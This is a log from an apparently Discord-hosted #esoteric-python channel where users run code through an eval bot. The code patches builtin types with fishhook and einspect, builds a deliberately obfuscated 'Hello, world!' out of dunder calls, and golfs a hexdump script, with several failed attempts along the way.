#esoteric-python
1 messages · Page 25 of 1
!e since your only adding one method you could just use hook ```py
from fishhook import hook
@hook(list)
def indexdefault(self, value):
for i, obj in enumerate(self):
if obj == value:
return i
i = len(self)
self.append(value)
return i
a = []
print(a.indexdefault(2))
print(a)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0
002 | [2]
... seems like I saw almost this exact thing in a table class where the Global fields list needed this... I implemented with a defaultdict of count().next because in that situation the ordinal where to look values up was important not the strict ordering of possible field names...
Another golfing challenge
You have a file and each line contains a number in base=8. Count how many numbers have all their numbers in ascending order, so for example 1345899.
Then find the smallest and biggest number matching this condition.
!e We have the better einspect now
from einspect import impl
@impl(list)
def indexdefault(self, value):
for i, obj in enumerate(self):
if obj == value:
return i
i = len(self)
self.append(value)
return i
a = []
print(a.indexdefault(2))
print(a)
@sick hound :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0
002 | [2]
in certain cases worse but it's equivalent for now
!ti py from einspect import impl ```py
@impl(list)
def indexdefault(self, value):
for i, obj in enumerate(self):
if obj == value:
return i
i = len(self)
self.append(value)
return i
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
5000 loops, best of 5: 52.4 usec per loop
!ti py from fishhook import hook ```py
@hook(list)
def indexdefault(self, value):
for i, obj in enumerate(self):
if obj == value:
return i
i = len(self)
self.append(value)
return i
@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.
5000 loops, best of 5: 95 usec per loop
oof
!ti
class X: ...
@fleet bridge :warning: Your 3.11 eval job timed out or ran out of memory.
[No output]
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
500 loops, best of 5: 611 usec per loop
Einspect requires specific support for each python version, fishhook just works automatically
the repo says 100% Python, so what?
It has to be updated manually with every major version
Fishhook doesn't, it works automatically
Because I used a bunch of strategies to dynamically calculate stuff, which is why it takes a bit longer to hook as well
Fishhook also allows for nesting hooks recursively.

wdym by that?
You can wrap hooks around other hooks
And orig will dispatch to the next level hook
!e import sys; [exec((lambda x: f"{x}\n")(input().strip())) if (x:=input().strip()) else sys.stdout.flush() for i in range(int(input()))]
@stable brook :x: Your 3.11 eval job has completed with return code 1.
:warning: Note: input is not supported by the bot :warning:
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | import sys; [exec((lambda x: f"{x}\n")(input().strip())) if (x:=input().strip()) else sys.stdout.flush() for i in range(int(input()))]
004 | ^^^^^^^
005 | EOFError: EOF when reading a line
yooo
never got an eof error
thats rare
eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).__call__(1,2,3,4,5,6,7,8,9,10,11,12))).__call__(13,14,15)).__call__(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).__call__(input().strip(),input().strip(),input().strip())).__call__(input().strip(),input().strip(),input().strip()))```
!e eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).call(1,2,3,4,5,6,7,8,9,10,11,12))).call(13,14,15)).call(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).call(input().strip(),input().strip(),input().strip())).call(input().strip(),input().strip(),input().strip()))
@stable brook :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).__call__(1,2,3,4,5,6,7,8,9,10,11,12))).__call__(13,14,15)).__call__(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).__call__(input().strip(),input().strip(),input().strip())).__call__(input().strip(),input().strip(),input().strip()))
003 | ^
004 | SyntaxError: '(' was never closed
eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).__call__(1,2,3,4,5,6,7,8,9,10,11,12))).__call__(13,14,15)).__call__(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).__call__(input().strip(),input().strip(),input().strip())).__call__(input().strip(),input().strip(),input().strip())))```
!e
eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).__call__(1,2,3,4,5,6,7,8,9,10,11,12))).__call__(13,14,15)).__call__(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).__call__(input().strip(),input().strip(),input().strip())).__call__(input().strip(),input().strip(),input().strip())))```
@stable brook :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | eval((lambda a,b,c,d,e:(lambda f,g,h:((lambda i,j,k:((lambda l,m,n,o,p:(lambda q,r,s,t,u,v,w,x,y,z,z1,z2:(chr(ord(a)+q)+chr(ord(b)+r)+chr(ord(c)+s)+chr(ord(d)+t)+chr(ord(e)+u)+chr(ord(f)+v)+chr(ord(g)+w)+chr(ord(h)+x)+chr(ord(i)+y)+chr(ord(j)+z)+chr(ord(k)+z1)+chr(ord(l)+z2))(i,j,k,o,n,m,a,d,c,b,h,g,f,e)).__call__(1,2,3,4,5,6,7,8,9,10,11,12))).__call__(13,14,15)).__call__(int(input()),input().strip(),input().strip(),input().strip(),input().strip()).__call__(input().strip(),input().strip(),input().strip())).__call__(input().strip(),input().strip(),input().strip())))
003 | ^
004 | SyntaxError: '(' was never closed
It's because there's no stdin which is what input() tries to read from
just put
inputs = iter([1, 2, 3])
input = lambda _: next(inputs)
before it
with whatever inputs you want
yeah the way I did orig makes it always fetch the original function of the provided class, instead of the hook-inferred one in fishhook, I didn't see much use-case for nested hooks. (though arguably mine makes it more verbose to type out)
!e
from einspect import impl, orig
@impl(object)
def __new__(cls, *args, **kwargs):
print(f"in {cls} __new__: {args}")
return orig(cls).__new__(cls, *args, **kwargs)
class Foo:
def __init__(self, a, b):
pass
Foo(1, 2)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
in <class '__main__.Foo'> __new__: (1, 2)
on the plus side you can dynamically call orig with different classes which is necessary for things like __new__ which fishhook doesn't yet support iirc
TIL: this code is not safe at all:
state = ctypes.pythonapi.PyGILState_GetThisThreadState()
ctypes.pythonapi.PyGILState_Release(state)
# some python code
ctypes.pythonapi.PyGILState_Ensure(state)
It doesnt crash immediately, it continues execution up to some random point (it changes between launches).
I think it crashes at moment where it tries to use object with corrupted refcount.
beautiful
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), dict(chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"))
¼().Q()```
!e
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), dict(chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"))
¼().Q()```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 3
002 | ¼().Q()
003 | ^
004 | SyntaxError: invalid character '¼' (U+00BC)
n oooo
!e
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), dict(chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"))().Q()```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), dict(chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"))().Q()
003 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
004 | SyntaxError: expression cannot contain assignment, perhaps you meant "=="?
!e
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), {chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"})().Q()```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), {chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!"})().Q()
003 | ^
004 | SyntaxError: closing parenthesis '}' does not match opening parenthesis '('
!e
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), {chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!")})().Q()```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__div__(__builtins__.__dir__().index('__doc__'))])), {chr(__name__.__dir__().__len__())=lambda _: print("Hello, world!")})().Q()
003 | ^
004 | SyntaxError: invalid syntax
where
Please test your code before sending it there
!e
type(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world!
LETS GOOO
what is this profane hellscape
and kids this is why you should never show a cpp programmer python
i dont think that has anything to do with cpp
i could make it worse
do it
well yeah, releasing GIL from and during python code is pretty much guaranteed to 💥
The GIL is released during file I/O operations because the GIL could bottleneck them.
Same applies to the standard streams
yes, during this time, however, no python code is being executed on that thread
!e
eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))).(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))).(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
003 | ^
004 | SyntaxError: invalid syntax
!e ```py
eval(builtins.dir().getitem(builtins.dir().len().floordiv(builtins.dir().getitem(import.dir().len().sub(name.doc.len().floordiv(builtins.doc.len()))).len()).sub(name.dir().len().sub(import.dir().len()).sub(package.dir().len()).sub(package.dir().len()))))(chr(import.dir().len().add(builtins.dir().len())), (eval(builtins.dir().getitem(builtins.dir().len().floordiv(builtins.dir().getitem(import.dir().len().sub(name.doc.len().floordiv(builtins.doc.len()))).len()).sub(10))), ), {chr(name.dir().len()):(lambda _: print("Hello, world!"))})().Q()
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
004 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
... (truncated - too long)
Full output: https://paste.pythondiscord.com/bifodaweco.txt?noredirect
!e
eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()```
waht it works
!e
eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()```
!e
eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()))))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
004 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
... (truncated - too long)
Full output: https://paste.pythondiscord.com/azeyoduqav.txt?noredirect
huh
!e
print((chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__()[__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().index('__package__')).__sub__(__builtins__.__dir__().index('ascii'))]), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))}))```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
('µ', (<class 'property'>,), {'Q': <function <lambda> at 0x7f306b6c0680>})
!e
print(eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())))))```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
<class 'staticmethod'>
wha-
Please go to #bot-commands @unique heath
!e
eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: print("Hello, world!"))})().Q()
``` you made me do this
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world!
that's a lot of evaluations
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___("Hello, world!"))})().Q())```
slowly devolving into madness
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world!
does this happen to create anything negative to the computer or is it the worst hw progr ever?
@print!("rust bad"); ✅ Your 3.11 eval job has completed with return code 0.
Hello, world!
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72)+_____(101)+_____(108)+_____(108)+_____(111)+_____(32)+_____(119)+_____(111)+_____(114)+_____(108)+_____(100)+_____(33)))})().Q())```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello world!
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72).__add__(_____(101)).__add__(_____(108)).__add__(_____(108)).__add__(_____(111)).__add__(_____(32)).__add__(_____(119)).__add__(_____(111)).__add__(_____(114)).__add__(_____(108)).__add(_____(100)).__add(_____(33))))})().Q())```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | (___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__
... (truncated - too long)
Full output: https://paste.pythondiscord.com/gabadilepe.txt?noredirect
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72).__add__(_____(101)).__add__(_____(108)).__add__(_____(108)).__add__(_____(111)).__add__(_____(32)).__add__(_____(119)).__add__(_____(111)).__add__(_____(114)).__add__(_____(108)).__add(_____(100)).__add__(_____(33))))})().Q())```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | (___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__
... (truncated - too long)
Full output: https://paste.pythondiscord.com/azepukoyoz.txt?noredirect
!e
(___:=eval(__builtins__.__dir__().__getitem__((420).__floordiv__(__import__.__dir__().__len__().__sub__(20)))),_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__())), (eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(10))), ), {chr(__name__.__dir__().__len__()):(lambda _: ___(_____(72).__add__(_____(101)).__add__(_____(108)).__add__(_____(108)).__add__(_____(111)).__add__(_____(32)).__add__(_____(119)).__add__(_____(111)).__add__(_____(114)).__add__(_____(108)).__add__(_____(100)).__add__(_____(33))))})().Q())```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello world!
Ok now explain this how does it work
how can I golf this further?
import sys
for a in sys.argv[1:]:
h=memoryview(bytearray(a,"utf")).hex(" ",-2)
for i,j in enumerate([h[i:i+40]for i in range(0,len(h),40)]):print(f"{i*16:08x}: "+j.ljust(41)+bytes.fromhex(j).decode().replace("\n","."))
print()```
output looks like00000000: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f !"#$%&'()*+,-./ 00000010: 3031 3233 3435 3637 3839 3a3b 3c3d 3e3f 0123456789:;<=>? 00000020: 4041 4243 4445 4647 4849 4a4b 4c4d 4e4f @ABCDEFGHIJKLMNO 00000030: 5051 5253 5455 5657 5859 5a5b 5c5d 5e5f PQRSTUVWXYZ[\]^_ 00000040: 6061 6263 6465 6667 6869 6a6b 6c6d 6e6f `abcdefghijklmno 00000050: 7071 7273 7475 7677 7879 7a7b 7c7d 7e pqrstuvwxyz{|}~
alias print
that doesnt save chars
id need another print for that
saved 5 by changing the .ljust() to use {j:>41}
changed the enumerate loop to list comprehension and put everything on one line
221 now
current
import sys
